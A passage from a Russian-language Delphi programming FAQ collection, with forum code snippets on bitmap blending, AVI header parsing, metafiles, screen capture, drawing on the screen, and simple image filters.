  end;
  bm.PixelFormat := pf24bit;
  bm1.PixelFormat := pf24bit;
  bm2.PixelFormat := pf24bit;

  Form1.Canvas.Draw(0, 0, bm1);
  for i := 1 to count - 1 do
  begin
    for y := 0 to bm.Height - 1 do
    begin
      p := bm.ScanLine[y];
      p1 := bm1.ScanLine[y];
      p2 := bm2.ScanLine[y];
      for x := 0 to bm.Width * 3 - 1 do
        p^[x] := round((p1^[x] * (count - i) + p2^[x] * i) / count);
    end;
    Form1.Canvas.Draw(0, 0, bm);
    Form1.Caption := IntToStr(round(i / count * 100)) + '%';
    Application.ProcessMessages;
    if Application.Terminated then
      break;
  end;
  Form1.Canvas.Draw(0, 0, bm2);
  Form1.Caption := 'done';
  bm1.Destroy; bm2.Destroy; bm.Destroy;
end;

Взято с http://delphiworld.narod.ru


Информация о AVI файле, (разбор заголовка AVI)

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

Type
  TForm1 = class(TForm)
    Memo1: TMemo;
    OpenDialog1: TOpenDialog;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  Public
    procedure ReadAviInfo(FileName: String);
  End;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.ReadAviInfo(FileName: String);
var
  iFileHandle: Integer; // хэндл файла

  // Для позмционирования в AVI файле
  Aviheadersize: Integer;
  Vheadersize: Integer;
  Aviheaderstart: Integer;
  Vheaderstart: Integer;
  Aheaderstart: Integer;
  Astrhsize: Integer;

  // Временные переменные
  TempTest: String[5];
  TempSize: Integer;
  TempVcodec: String[5];
  TempAcodec: Integer;
  TempMicrosec: Integer;
  TempLengthInFrames: Integer;
  TempAchannels: Integer;
  TempAsamplerate: Integer;
  TempAbitrate: Integer;

  //Выходные данные
  Size: Double;
  Length: String;
  Vcodec: String;
  Vbitrate: Double;
  VWidth: Integer;
  VHeight: Integer;
  Fps: Double;

  LengthInSec: Double;
  Acodec: String;
  Abitrate: String;
begin
  // Открываем
  iFileHandle := FileOpen(FileName, fmOpenRead);

  // Грубая проверка на подлинность файла
  FileSeek(iFileHandle, 7, 0);
  FileRead(iFileHandle, TempTest, 5);
  If copy(TempTest, 0, 4) <> 'AVI ' then
  begin
    MessageDlg('Could not open ' + FileName + ' because it is not a valid video file', mtError, [mbOk], 0);
    Exit;
  End;

  // Размер файла
  FileSeek(iFileHandle,4,0);
  FileRead(iFileHandle, TempSize, 4);

  // Размер хедера (needed To locate the audio part)
  FileSeek(iFileHandle,28,0);
  FileRead(iFileHandle, Aviheadersize, 4);

  // старт хедера  (needed To locate the video part)
  Aviheaderstart := 32;

  // Милисекунды (1000000 / TempMicrosec = fps)
  FileSeek(iFileHandle,Aviheaderstart,0);
  FileRead(iFileHandle, TempMicrosec, 4);

  // Размер во фреймах
  FileSeek(iFileHandle,Aviheaderstart + 16,0);
  FileRead(iFileHandle, TempLengthInFrames, 4);

  // Ширина
  FileSeek(iFileHandle,Aviheaderstart + 32,0);
  FileRead(iFileHandle, VWidth, 4);

  // Высота
  FileSeek(iFileHandle,Aviheaderstart + 36,0);
  FileRead(iFileHandle, VHeight, 4);

  FileSeek(iFileHandle,Aviheaderstart + Aviheadersize + 4,0);
  FileRead(iFileHandle, Vheadersize, 4);

  Vheaderstart := Aviheaderstart + Aviheadersize + 20;

  // кодек
  FileSeek(iFileHandle,Vheaderstart + 3,0);
  FileRead(iFileHandle, TempVCodec, 5);

  Aheaderstart := Vheaderstart + Vheadersize + 8;

  FileSeek(iFileHandle,Aheaderstart - 4,0);
  FileRead(iFileHandle, Astrhsize, 5);

  // Audio codec
  FileSeek(iFileHandle,Aheaderstart + Astrhsize + 8,0);
  FileRead(iFileHandle, TempACodec, 2);

  // Audio каналы (1 = mono, 2 = stereo)
  FileSeek(iFileHandle,Aheaderstart + Astrhsize + 10,0);
  FileRead(iFileHandle, TempAchannels, 2);

  // Audio samplerate
  FileSeek(iFileHandle,Aheaderstart + Astrhsize + 12,0);
  FileRead(iFileHandle, TempAsamplerate, 4);

  // Audio bitrate
  FileSeek(iFileHandle,Aheaderstart + Astrhsize + 16,0);
  FileRead(iFileHandle, TempAbitrate, 4);

  // закрываем файл
  FileClose(iFileHandle);

  // анализируем видео кодек (можно добавить больше)
  Vcodec := copy(TempVcodec, 0, 4);
  If Vcodec = 'div2' then Vcodec := 'MS MPEG4 v2'
  Else If Vcodec = 'DIV2' then Vcodec := 'MS MPEG4 v2'
  Else If Vcodec = 'div3' then Vcodec := 'DivX;-) MPEG4 v3'
  Else If Vcodec = 'DIV3' then Vcodec := 'DivX;-) MPEG4 v3'
  Else If Vcodec = 'div4' then Vcodec := 'DivX;-) MPEG4 v4'
  Else If Vcodec = 'DIV4' then Vcodec := 'DivX;-) MPEG4 v4'
  Else If Vcodec = 'div5' then Vcodec := 'DivX;-) MPEG4 v5'
  Else If Vcodec = 'DIV5' then Vcodec := 'DivX;-) MPEG4 v5'
  Else If Vcodec = 'divx' then Vcodec := 'DivX 4'
  Else If Vcodec = 'mp43' then Vcodec := 'Microcrap MPEG4 v3';

  // тоже с аудио
  Case TempAcodec of
    0: Acodec := 'PCM';
    1: Acodec := 'PCM';
    85: Acodec := 'MPEG Layer 3';
    353: Acodec := 'DivX;-) Audio';
    8192: Acodec := 'AC3-Digital';
  Else
    Acodec := 'Unknown (' + IntToStr(TempAcodec) + ')';
  End;

  Case (Trunc(TempAbitrate / 1024 * 8)) of
    246..260: Abitrate := '128 Kbit/s';
    216..228: Abitrate := '128 Kbit/s';
    187..196: Abitrate := '128 Kbit/s';
    156..164: Abitrate := '128 Kbit/s';
    124..132: Abitrate := '128 Kbit/s';
    108..116: Abitrate := '128 Kbit/s';
    92..100: Abitrate := '128 Kbit/s';
    60..68: Abitrate := '128 Kbit/s';
  Else
    Abitrate := FormatFloat('# Kbit/s', TempAbitrate / 1024 * 8);
  End;

  // тут некоторые вычисления
  Size := TempSize / 1024 / 1024;
  Fps := 1000000 / TempMicrosec; // FPS
  LengthInSec := TempLengthInFrames / fps; // Length In seconds
  Length := FormatFloat('# min', Int(LengthInSec / 60)) + FormatFloat(' # sec',
    Round(LengthInSec - (Int(LengthInSec / 60) * 60)));
  Vbitrate := (TempSize / LengthInSec - TempABitrate) / 1024 * 8;

  // Выводим инфу в мемо
  Memo1.Lines.Add('AVI INFORMATION');
  Memo1.lines.Add('Size: ' + FormatFloat('#.## MB',Size));
  Memo1.Lines.Add('Length: ' + Length);
  Memo1.Lines.Add('');
  Memo1.Lines.Add('VIDEO INFORMATION');
  Memo1.Lines.Add('Codec: ' + Vcodec);
  Memo1.Lines.Add('Bitrate: ' + FormatFloat('# Kbit/s', Vbitrate));
  Memo1.lines.Add('Width: ' + IntToStr(VWidth) + ' px');
  Memo1.lines.Add('Height: ' + IntToStr(VHeight) + ' px');
  Memo1.Lines.Add('FPS: ' + FormatFloat('#.##', fps));
  Memo1.Lines.Add('');
  Memo1.Lines.Add('AUDIO INFORMATION');
  Memo1.Lines.Add('Codec: ' + Acodec);
  Memo1.Lines.Add('Bitrate: ' + Abitrate);
End;

procedure TForm1.Button1Click(Sender: TObject);
begin
  If OpenDialog1.Execute Then ReadAviInfo(OpenDialog1.FileName);
End;

end.

Автор Rouse_
Взято из http://forum.sources.ru


Работа с метафайлами, векторыми изображениями

Cодержание раздела:

Как нарисовать метафайл?
Как получить доступ к объекту метафайла

См. также статьи в других разделах:
Как копировать векторное изображение?
Как поместить битмап в метафайл
BMP ---> WMF
WMF ---> BMP
Как работать с DWG файлами (AutoCAD)?


Как нарисовать метафайл?

unit Metaform;

interface

uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls, Buttons, ExtCtrls;

type
  TForm1 = class(TForm)
    Panel1: TPanel;
    BitBtn1: TBitBtn;
    Image1: TImage;
    procedure BitBtn1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

type
  TMetafileCanvas = class(TCanvas)
  private
    FClipboardHandle: THandle;
    FMetafileHandle: HMetafile;
    FRect: TRect;
  protected
    procedure CreateHandle; override;
    function GetMetafileHandle: HMetafile;
  public
    constructor Create;
    destructor Destroy; override;
    property Rect: TRect read FRect write FRect;
    property MetafileHandle: HMetafile read GetMetafileHandle;
  end;

constructor TMetafileCanvas.Create;
begin
  inherited Create;
  FClipboardHandle := GlobalAlloc(GMEM_SHARE or GMEM_ZEROINIT, SizeOf(TMetafilePict));
end;

destructor TMetafileCanvas.Destroy;
begin
  DeleteMetafile(CloseMetafile(Handle));
  if Bool(FClipboardHandle) then
    GlobalFree(FClipboardHandle);
  if Bool(FMetafileHandle) then
    DeleteMetafile(FMetafileHandle);
  inherited Destroy;
end;

procedure TMetafileCanvas.CreateHandle;
var
  MetafileDC: HDC;
begin
  { Create a metafile DC in memory }
  MetafileDC := CreateMetaFile(nil);
  if Bool(MetafileDC) then
  begin
    { Map the top,left corner of the displayed rectangle to the top,left of the
      device context. Leave a border of 10 logical units around the picture. }
    with FRect do
      SetWindowOrg(MetafileDC, Left - 10, Top - 10);
    { Set the extent of the picture with a border of 10 logical units.}
    with FRect do
      SetWindowExt(MetafileDC, Right - Left + 20, Bottom - Top + 20);
    { Play any valid metafile contents to it. }
    if Bool(FMetafileHandle) then
    begin
      PlayMetafile(MetafileDC, FMetafileHandle);
    end;
  end;
  Handle := MetafileDC;
end;

function TMetafileCanvas.GetMetafileHandle: HMetafile;
var
  MetafilePict: PMetafilePict;
  IC: HDC;
  ExtRect: TRect;
begin
  if Bool(FMetafileHandle) then
    DeleteMetafile(FMetafileHandle);
  FMetafileHandle := CloseMetafile(Handle);
  Handle := 0;
  { Prepair metafile for clipboard display. }
  MetafilePict := GlobalLock(FClipboardHandle);
  MetafilePict^.mm := mm_AnIsoTropic;
  IC := CreateIC('DISPLAY', nil, nil, nil);
  SetMapMode(IC, mm_HiMetric);
  ExtRect := FRect;
  DPtoLP(IC, ExtRect, 2);
  DeleteDC(IC);
  MetafilePict^.xExt := ExtRect.Right - ExtRect.Left;
  MetafilePict^.yExt := ExtRect.Top - ExtRect.Bottom;
  MetafilePict^.HMF := FMetafileHandle;
  GlobalUnlock(FClipboardHandle);
  { I'm giving you this handle, but please do NOT eat it. }
  Result := FClipboardHandle;
end;

procedure TForm1.BitBtn1Click(Sender: TObject);
var
  MetafileCanvas: TMetafileCanvas;
begin
  MetafileCanvas := TMetafileCanvas.Create;
  MetafileCanvas.Rect := Rect(0, 0, 500, 500);
  MetafileCanvas.Ellipse(10, 10, 400, 400);
  Image1.Picture.Metafile.LoadFromClipboardFormat(cf_MetafilePict,
    MetafileCanvas.MetafileHandle, 0);
  MetafileCanvas.Free;
end;

end.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как получить доступ к объекту метафайла

Below is an example of getting metafile information and enumerating each metafile record :

function MyEnhMetaFileProc(DC: HDC; {handle to device context}
  lpHTable: PHANDLETABLE; {pointer to metafile handle table}
  lpEMFR: PENHMETARECORD; {pointer to metafile record}
  nObj: integer; {count of objects}
  TheForm: TForm1): integer; stdcall;
begin
  {draw the metafile record}
  PlayEnhMetaFileRecord(dc, lpHTable^, lpEMFR^, nObj);
  {set to zero to stop metafile enumeration}
  result := 1;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  MyMetafile: TMetafile;
  lpENHMETAHEADER: PENHMETAHEADER; {extra metafile info}
  lpENHMETAHEADERSIZE: DWORD;
  NumMetaRecords: DWORD;
begin
  {Create a metafile}
  MyMetafile := TMetafile.Create;
  with TMetafileCanvas.Create(MyMetafile, 0) do
  try
    Brush.Color := clRed;
    Ellipse(0, 0, 100, 100);
    Ellipse(100, 100, 200, 200);
    Ellipse(200, 200, 300, 300);
    Ellipse(300, 300, 400, 400);
    Ellipse(400, 400, 500, 500);
    Ellipse(500, 500, 600, 600);
  finally
    Free;
  end;
  {we might as well get some extra metafile info}
  lpENHMETAHEADERSIZE := GetEnhMetaFileHeader(MyMetafile.Handle, 0, nil);
  NumMetaRecords := 0;
  if (lpENHMETAHEADERSIZE > 0) then
  begin
    GetMem(lpENHMETAHEADER, lpENHMETAHEADERSIZE);
    GetEnhMetaFileHeader(MyMetafile.Handle, lpENHMETAHEADERSIZE, lpENHMETAHEADER);
    {Here is an example of getting number of metafile records}
    NumMetaRecords := lpENHMETAHEADER^.nRecords;
    {enumerate the records}
    EnumEnhMetaFile(Canvas.Handle, MyMetafile.Handle, @MyEnhMetaFileProc, self,
      Rect(0, 0, 600, 600));
    FreeMem(lpENHMETAHEADER, lpENHMETAHEADERSIZE);
  end;
  MyMetafile.Free;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Рисование в разных местах, захват изображения

Cодержание раздела:

Как копировать образ экрана в файл
Перетасовка экрана в Delphi
Как рисовать за пределами формы
Как рисовать в чужом окне или по всему экрану
Можно ли из Delphi рисовать в любой части экрана или в чужом окне?
Копирование экрана
Как сделать прямоугольник для выделения части картинки для редактирования New!


Как копировать образ экрана в файл

На форме у меня стоит TImage (его можно сделать невидимым)

uses JPEG;
...
var i: TJPEGImage;
begin
  try
    i := TJPEGImage.create;
    try
      i.CompressionQuality := 100;
      image.Width := screen.width;
      image.height := screen.height;
      DWH := GetDesktopWindow;
      GetWindowRect(DWH, DRect);
      DescDC := GetDeviceContext(DWH);
      Canv.Handle := DescDC;
      DRect.Left := 0;
      DRect.Top := 0;
      DRect.Right := screen.Width;
      DRect.Bottom := screen.Height;
      Image.Canvas.CopyRect(DRect, Canv, DRect);
      i.assign(Image.Picture.Bitmap);
      I.SaveToFile('M:\MyFile.jpg');
    finally
      i.free;
    end;
  except
  end;

Типы использованных переменных:

Dwh : HWND;
DRect: TRect;
DescDC : HDC;
Canv : TCanvas;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Перетасовка экрана в Delphi

Перевод одноимённой статьи с сайта delphi.about.com )

В статье описывается пример, который позволяет разделить экран на блоки, а затем поменять эти блоки местами. Так же можно менять размеры блоков и скрость их перемещения. На мой взгляд неплохое начало для создания логической игрушки либо экранной заставки.

Уверен, что каждый из Вас уже хоть раз видел что-то подобное в действии. При запуске, программа берёт изображение десктопа и разделяет его на определённое количество прямоугольных частей (одинакового размера). После этого часть блоков случайным образом перемещается со своего первоначального места.

Как это всё осуществить
Создайте новый проект Delphi с чистой формой. Установите свойство Name в 'Shuffler'. Добавьте на форму компоненты Image (Image1) и Timer (Timer1). Image будет содержать в себе изображение десктопа (разобранное), а Timer будет вызывать процедуру рисования. Свойство Interval компонента Timer определяет, как часто будет происходить перемешивание (значение 1000 эквивалентно одной секунде, 2000 - двум секундам).
Так же для проекта потребуется несколько глобальных переменных. Поместите следующий код перед секцией implementation в модуле формы:

var
  Shuffler: TShuffler; //это было добавлено самой Delphi

  DesktopBitmap   : TBitmap;
  gx, gy          : Integer;
  redRect         : TBitmap;

  rW, rH          : Integer;

const
  DELTA = 8; //должно быть 2^n

Значение константы (integer) DELTA определяет, на сколько частей будет разбит экран (строк и колонок). Число DELTA должно быть в виде 2^n, где n - целое (integer) число со знаком. Большое значение DELTA приводит к маленьким размерам блоков. Например, если DELTA равна 16 и разрешение экрана 1024 x 768, то экран будет поделён на 256 частей размером 64x48.
DesktopBitmap - это битмап, который хранит в себе захваченное текущее изображение десктопа - мы будем получать это изображение делая скриншот.
redRect это битмап картинка, которая заменяет перемещённую часть картинки. redRect создаётся в событии формы OnCreate.
gx, gy содержат текущие координаты x и y (Left, Top) redRect внутри разобранного изображения.
rW, rH это ширина и высота прямоугольного блока. Для 1024x768 и DELTA=16, rW будет равно 64 а rH = 48.

Проект начинает выполняться с обработчика события OnCreate:

procedure TShuffler.FormCreate(Sender: TObject);
begin
  rW := Screen.Width div DELTA;
  rH := Screen.Height div DELTA;

  redRect:=TBitmap.Create;
  with redRect do begin
    Width := rW;
    Height := rH;
    Canvas.Brush.Color := clRed;
    Canvas.Brush.Style := bssolid;
    Canvas.Rectangle(0,0,rW,rH);
    Canvas.Font.Color := clNavy;
    Canvas.Font.Style := Canvas.Font.Style + [fsBold];
    Canvas.TextOut(2,2,'About');
    Canvas.Font.Style := Canvas.Font.Style - [fsBold];
    Canvas.TextOut(2,17,'Delphi');
    Canvas.TextOut(2,32,'Programming');
  end;

  Timer1.Enabled := False;
  Image1.Align := alClient;
  Visible := False;
  BorderStyle := bsNone;
  Top := 0;
  Left := 0;
  Width := Screen.Width;
  Height := Screen.Height;
  InitScreen;
//  SetWindowPos(Handle,HWND_TOPMOST,0,0,0,0,
                 SWP_NOSIZE + SWP_NOMOVE);
  Visible := True;
  Timer1.Interval := 10; // меньше := быстрее
  Timer1.Enabled  := True; // Запускаем вызов DrawScreen
end;

Во-первых, значения rW и rH определяются значением DELTA. Как уже объяснялось, если разрешение экрана 800x600 и DELTA равна 8, изображение экрана будет разделено на 8x8 частей размером 100x75 (rW = 100, rH = 75).

Во-вторых, созданный битмап redRect, будет размещён внутри картинки, с той целью, чтобы заменить перемещённый блок. redRect является простым красным прямоугольником с текстом (синим) внутри него. Так же для этого можно использовать готовую эмблему или что-то ещё.

Наконец, устанавливается ширина и высота формы как у экрана. Вызов (закомментированный) API функции SetWindowPos можно использовать, чтобы установить форму всегда на переднем плане (OnTop), не перемещаемую и не изменяемую. Вызывается процедура InitScreen. Устанавливает интервал таймера и начинает выполняться обработчик события OnTimer, запуская процедуру DrawScreen.

InitScreen - Скриншот
Процедура InitScreen, вызываемая из обработчика события OnCreate, используется для получения скриншота текущего изображения десктопа, устанавливая начальную позицию redRect и рисуя сетку. Код, который будет рисовать сетку необязателен.

Чтобы получить скриншот десктопа, используется GetDC для GetDesktopWindow. API функция BitBt используется для передачи картинки десктопа в DesktopBitmap. GetDC(GetDesktopWindow) получает дескриптор контекста устройства дисплея для указанного окна - окна возвращённого функцией GetDesktopWindow. В заключении DesktopBitmap ассоциируется с компонентой Image1. Если что-то не ясно, то советую заглянуть справичные файлы по Delphi.

Начальная позиция redRect выбирается случайным образом. Trunc(Random * DELTA) возвращает целое число от 0 до DELTA. Далее, redRect рисуется в точке gx, gy, используя функцию CopyRect объекта Canvas. Опять же, если Вы не знакомы с алгоритмом рисования Delphi, то советую порыться в справке.

В конце, при помощи MoveTo и LineTo рисуется сетка. Сетка необязательна и используется только для того, чтобы лучше различать границы блоков.

procedure InitScreen;
var i,j:integer;
begin
  //получаем битмап десктопа
  DesktopBitmap := TBitmap.Create;
  with DesktopBitmap do begin
    Width := Screen.Width;
    Height := Screen.Height;
  end;
  BitBlt(DesktopBitmap.Canvas.Handle,
         0,0,Screen.Width,Screen.Height,
         GetDC(GetDesktopWindow),0,0,SrcCopy);

  Shuffler.Image1.Picture.Bitmap := DesktopBitmap;

  //изначальные координаты redRect
  Randomize;
  gx := Trunc(Random * DELTA);
  gy := Trunc(Random * DELTA);

  Shuffler.Image1.Canvas.CopyRect(
    Rect(rW * gx, rH * gy, rW * gx + rW, rH * gy + rH),
    redRect.Canvas,
    Rect(0,0,rW,rH));

  //рисуем сетку
  for i:=0 to DELTA-1 do begin
    Shuffler.Image1.Canvas.MoveTo(rW * i,0);
    Shuffler.Image1.Canvas.LineTo(rW * i,Screen.Height);

    Shuffler.Image1.Canvas.MoveTo(0, rH * i);
    Shuffler.Image1.Canvas.LineTo(Screen.Width, rH * i);
  end;
end;

Draw Screen
Основной код находится в процедуре DrawScreen. Эта процедура вызывается внутри события OnTimer компонента Timer.

procedure DrawScreen;
var
  r1,r2:TRect;
  Direction:integer;
begin
  r1:=Rect(rW * gx , rH * gy,  rW * gx + rW  , rH * gy + rH);

  Direction := Trunc(Random*4);
  case Direction of
   0: gx := Abs((gx + 1) MOD DELTA);    //право
   1: gx := Abs((gx - 1) MOD DELTA);    //лево
   2: gy := Abs((gy + 1) MOD DELTA);    //низ
   3: gy := Abs((gy - 1) MOD DELTA);    //верх
  end; //case

  r2 := Rect(rW * gx , rH * gy,  rW * gx + rW  , rH * gy + rH);

  with Shuffler.Image1.Canvas do begin
    CopyRect(r1, Shuffler.Image1.Canvas, r2);
    CopyRect(r2, redRect.Canvas, redRect.Canvas.ClipRect);
  end;
end;

Несмотря на кажущуюся сложность кода, он очень прост в использовании. Менять местами можно только части смежные с redRect, поэтому доступны только 4 возможных направления. Прямоугольник r1 содержит текущию позицию redRect, r2 указывает на прямоугольник с блоком, который был перемещён. CopyRect используется для перемещения выбранного блока на место redRect и рисования redRect его в новом месте - таким образом осуществляется обмен этих двух блоков.
Было бы приятней наблюдать анимированный обмен блоков, но я оставлю эту задачу для самостоятельного решения.

А так выглядит мой десктоп 640x480, после нескольких событий OnTimer, с DELTA=4. Обычно у меня разрешение 1024x768, но для того, чтобы картинка получилась лучше, я изменил свойства дисплея. Обратите внимание, что Вы можете в любой момент прервать выполнение программы нажатием ALT+F4. Здесь можно посмотреть код проекта.

В заключении
Вероятно вы встречались с подобными эффектами в виде скринсейвера. Если возникнет желание создать что-то подобное, то дополнительную информацию можно посмотреть в статье "Пишем Screensaver в Delphi".

Так же данный код может послужить отправной точкой для создания популярной игры "Пятнашки" или "Ppuzzle". Всё, что необходимо для этого изменить в коде, это остановить через какое-то время подпрограмму DrawScreen, чтобы получить картинку паззла. Идея игры заключается в том, чтобы сделать возможным перемещение блоков обратно. В общих чертах, необходимо добавить код, который бы получал и обрабатывал клики пользователя на разобранной картинке. Клик по блоку, следующему за redRect должен заменить блок на redRect.

Взято из http://forum.sources.ru


Как рисовать за пределами формы

Создайте обработчик сообщения для WM_NCPAINT. Следующий пример рисует красную расмку вокруг формы шириной в один пиксель.

type
  TForm1 = class(TForm)
  private
    { Private declarations }
    procedure WMNCPaint(var Msg : TWMNCPaint); message WM_NCPAINT;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMNCPaint(var Msg: TWMNCPaint);
var
  dc : hDc;
  Pen : hPen;
  OldPen : hPen;
  OldBrush : hBrush;
begin
  inherited;
  dc := GetWindowDC(Handle);
  msg.Result := 1;
  Pen := CreatePen(PS_SOLID, 1, RGB(255, 0, 0));
  OldPen := SelectObject(dc, Pen);
  OldBrush := SelectObject(dc, GetStockObject(NULL_BRUSH));
  Rectangle(dc, 0,0, Form1.Width, Form1.Height);
  SelectObject(dc, OldBrush);
  SelectObject(dc, OldPen);
  DeleteObject(Pen);
  ReleaseDC(Handle, Canvas.Handle);
end;

Взято из http://forum.sources.ru


Как рисовать в чужом окне или по всему экрану

procedure DrawOnScreen;
var
  ScreenDC: hDC;
begin
  ScreenDC := GetDC(0); {получить контекст экрана}
  Ellipse(ScreenDC, 0, 0, 200, 200); {нарисовать}
  ReleaseDC(0, ScreenDC); {освободить контекст}
end;

Взято из http://forum.sources.ru


Можно ли из Delphi рисовать в любой части экрана или в чужом окне?

Для этого надо воспользоваться функциями API. Получить контекст чужого окна, либо всего экрана:

function GetDC(Wnd: HWnd): HDC;

где Wnd - указатель на нужное окно, или 0 для получения контекста всего экрана.
И далее, пользуясь функциями API, нарисовать все что надо.

PROCEDURE DrawOnScreen;
VAR ScreenDC: hDC;
BEGIN
  ScreenDC := GetDC(0); {получить контекст экрана}
  Ellipse(ScreenDC, 0, 0, 200, 200); {нарисовать}
  ReleaseDC(0,ScreenDC); {освободить контекст}
END;

Не забывайте после своих манипуляций посылать пострадавшим (или всем) окнам сообщение о необходимости перерисовки, для восстановления их первоначального вида.

Зайцев О.В.
Владимиров А.М.
Взято из http://forum.sources.ru


Копирование экрана

unit ScrnCap;
interface
uses WinTypes, WinProcs, Forms, Classes, Graphics, Controls;

 { Копирует прямоугольную область экрана }
function CaptureScreenRect(ARect : TRect) : TBitmap;
 { Копирование всего экрана }
function CaptureScreen : TBitmap;
 { Копирование клиентской области формы или элемента }
function CaptureClientImage(Control : TControl) : TBitmap;
 { Копирование всей формы элемента }
function CaptureControlImage(Control : TControl) : TBitmap;

{===============================================================}
implementation
function GetSystemPalette : HPalette;
var
 PaletteSize  : integer;
 LogSize      : integer;
 LogPalette   : PLogPalette;
 DC           : HDC;
 Focus        : HWND;
begin
 result:=0;
 Focus:=GetFocus;
 DC:=GetDC(Focus);
 try
   PaletteSize:=GetDeviceCaps(DC, SIZEPALETTE);
   LogSize:=SizeOf(TLogPalette)+(PaletteSize-1)*SizeOf(TPaletteEntry);
   GetMem(LogPalette, LogSize);
   try
     with LogPalette^ do
     begin
       palVersion:=$0300;
       palNumEntries:=PaletteSize;
       GetSystemPaletteEntries(DC, 0, PaletteSize, palPalEntry);
     end;
     result:=CreatePalette(LogPalette^);
   finally
     FreeMem(LogPalette, LogSize);
   end;
 finally
   ReleaseDC(Focus, DC);
 end;
end;

function CaptureScreenRect(ARect : TRect) : TBitmap;
var
 ScreenDC : HDC;
begin
 Result:=TBitmap.Create;
 with result, ARect do begin
  Width:=Right-Left;
  Height:=Bottom-Top;
  ScreenDC:=GetDC(0);
  try
    BitBlt(Canvas.Handle, 0,0,Width,Height,ScreenDC, Left, Top, SRCCOPY   );
  finally
    ReleaseDC(0, ScreenDC);
  end;
  Palette:=GetSystemPalette;
 end;
end;

function CaptureScreen : TBitmap;
begin
 with Screen do
  Result:=CaptureScreenRect(Rect(0,0,Width,Height));
end;

function CaptureClientImage(Control : TControl) : TBitmap;
begin
 with Control, Control.ClientOrigin do
  result:=CaptureScreenRect(Bounds(X,Y,ClientWidth,ClientHeight));
end;

function CaptureControlImage(Control : TControl) : TBitmap;
begin
 with Control do
  if Parent=Nil then
    result:=CaptureScreenRect(Bounds(Left,Top,Width,Height))
  else
   with Parent.ClientToScreen(Point(Left, Top)) do
    result:=CaptureScreenRect(Bounds(X,Y,Width,Height));
end;
end.

Зайцев О.В.
Владимиров А.М.
Взято из http://forum.sources.ru


Как сделать прямоугольник для выделения части картинки для редактирования

Самый простой способ - воспользоваться функцией Windows API DrawFocusRect. Функция DrawFocusRect использует операцию XOR при рисовании - таким образом вывод прямоугольника дважды с одними и теми же координатами стирает прямоугольник, и прямоугольник всегда будет виден, на фоне какого бы цвета он не выводился.

type
  TForm1 = class(TForm)
    procedure FormMouseDown(Sender: TObject; Button: TMouseButton;
    Shift: TShiftState; X, Y: Integer);
    procedure FormMouseMove(Sender: TObject;
    Shift: TShiftState; X, Y: Integer);
    procedure FormMouseUp(Sender: TObject; Button: TMouseButton;
    Shift: TShiftState; X, Y: Integer);
  private
    {Private declarations}
    Capturing : bool;
    Captured : bool;
    StartPlace : TPoint;
    EndPlace : TPoint;
  public
    {Public declarations}
end;

var
  Form1: TForm1;

implementation
{$R *.DFM}

function MakeRect(Pt1: TPoint; Pt2: TPoint): TRect;
begin
  if pt1.x < pt2.x then
  begin
    Result.Left := pt1.x;
    Result.Right := pt2.x;
  end
  else
  begin
    Result.Left := pt2.x;
    Result.Right := pt1.x;
  end;
  if pt1.y < pt2.y then
  begin
    Result.Top := pt1.y;
    Result.Bottom := pt2.y;
  end
  else
  begin
    Result.Top := pt2.y;
    Result.Bottom := pt1.y;
  end;
end;

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
  if Captured then
    DrawFocusRect(Form1.Canvas.Handle,MakeRect(StartPlace, EndPlace));
  StartPlace.x := X;
  StartPlace.y := Y;
  EndPlace.x := X;
  EndPlace.y := Y;
  DrawFocusRect(Form1.Canvas.Handle, MakeRect(StartPlace, EndPlace));
  Capturing := true;
  Captured := true;
end;

procedure TForm1.FormMouseMove(Sender: TObject;
Shift: TShiftState; X, Y: Integer);
begin
  if Capturing then
  begin
    DrawFocusRect(Form1.Canvas.Handle,MakeRect(StartPlace,EndPlace));
    EndPlace.x := X;
    EndPlace.y := Y;
    DrawFocusRect(Form1.Canvas.Handle,MakeRect(StartPlace,EndPlace));
  end;
end;

procedure TForm1.FormMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
  Capturing := false;
end;

Взято с http://delphiworld.narod.ru


Графические фильтры и эффекты

Cодержание раздела:

Как сделать colorize?
Как создать disable битмап из обычного (emboss etc)?
Получение Gaussian Blur
Как использовать anti-aliasing?
Как изменить яркость и контраст?
Как работать с fade для TImage?
Как сделать Twist / Swirl эффект
Как сделать wipe эффект
Как сделать 24bit dithering?
Как сделать greyscale dithering?
Как добавить когерентный шум?
эффект плавного перехода
Качественно уменьшить изображение
Spray effect New!
Sharpen a Bitmap New!
Как сделать Thumbnails? New!
Плавно превратить один рисунок в другой New!


Как сделать colorize?

function Colorize(RGB, Luma: Cardinal);
var
  l, r, g, b: Single;
begin
  Result := Luma;
  if Luma = 0 then { it's all black anyway}
    Exit;
  l := Luma / 255;
  r := RGB and $FF * l;
  g := RGB shr 8 and $FF * l;
  b := RGB shr 16 and $FF * l;
  Result := Round(b) shl 16 or Round(g) shl 8 or Round(r);
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как создать disable битмап из обычного (emboss etc)?

CreateMappedBitmap() :-)

Один из паpаметpов yказатель на COLORMAP, в нем для 16 основных цветов делаешь
пеpекодиpовкy, цвета подбеpешь сам из пpинципа:
все самые яpкие -> в GetSysColor( COLOR_3DLIGHT );
самые темные -> GetSysColor( COLOR_3DSHADOW );
нейтpальные, котpые бyдyт пpозpачные -> GetSysColor( COLOR_3DFACE );

Serge Zakharchuk
(2:5060/32)

procedure Tform1.aaa(bmpFrom,bmpTo:Tbitmap);
var
  TmpImage,Monobmp:TBitmap;
  IRect:TRect;
begin
  MonoBmp := TBitmap.Create;
  TmpImage:=Tbitmap.Create;
  TmpImage.Width := bmpFrom.Width;
  TmpImage.Height := bmpFrom.Height;
